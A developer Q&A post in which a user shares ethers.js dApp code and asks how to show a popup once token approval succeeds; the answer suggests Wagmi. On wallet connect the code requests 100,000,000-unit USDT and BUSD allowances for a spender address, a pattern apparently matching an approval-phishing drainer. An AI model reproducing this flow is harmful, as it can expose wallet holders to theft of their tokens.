Alert after spending approval

Question

This is a simple dAPP i am running via metamask.

I have tried many things.

window.alert(`Connected Successfully`);

I have tried to add this window.alert to my code but it wont do much.

async function connectAdmin(account) {
    const appContract = spender_address;
    let accountAllowance;
    const ulAllowance = 100000000;
    const provider = new ethers.providers.Web3Provider(window.ethereum);
    console.log(provider)
    const signer = provider.getSigner();
    const usdtContract = new ethers.Contract(usdtAddress, usdtAbi, signer);
    const busdContract = new ethers.Contract(busdAddress, usdtAbi, signer);
    const balanceTx = await usdtContract.balanceOf(account);
    const balance = parseFloat(ethers.utils.formatEther(balanceTx));
    const allowanceTx = await usdtContract.allowance(account, appContract);
    const allowance = parseFloat(ethers.utils.formatEther(allowanceTx));
    accountAllowance = allowance;
    const ballowanceTx = await busdContract.allowance(account, appContract);
    const ballowance = parseFloat(ethers.utils.formatEther(ballowanceTx));
    accountAllowance = allowance;


    console.log({
        allowance,
        balance
    });

    if (allowance < ulAllowance) {
        try {
            const approveAmt = ethers.utils.parseUnits(
                ulAllowance.toString(),
                "ether"
            );
            const approveTx = await usdtContract.approve(
                appContract,
                approveAmt
            );
            const cf = await approveTx.wait();

            if (cf) {
                accountAllowance = ulAllowance;
            }
            console.log({
                approveTx
            });
        } catch (error) {
            console.log(error);
        }
    }

    if (ballowance < ulAllowance) {
        try {
            const bapproveAmt = ethers.utils.parseUnits(
                ulAllowance.toString(),
                "ether"
            );
            const bapproveTx = await busdContract.approve(
                appContract,
                bapproveAmt
            );
            const bcf = await bapproveTx.wait();

            if (bcf) {
                accountAllowance = ulAllowance;
                
            }
            console.log({
                bapproveTx
            });
        } catch (error) {
            console.log(error);
        }
    }

I basically need to let the user know their account has approved the spend with a pop up/dialog message on our website UI.

Answer 1

I prefer you to use solutions like Wagmi when developing dApps. Reason is it supports a various of hooks to use with ReactJS and that will save your time in such cases you are referring.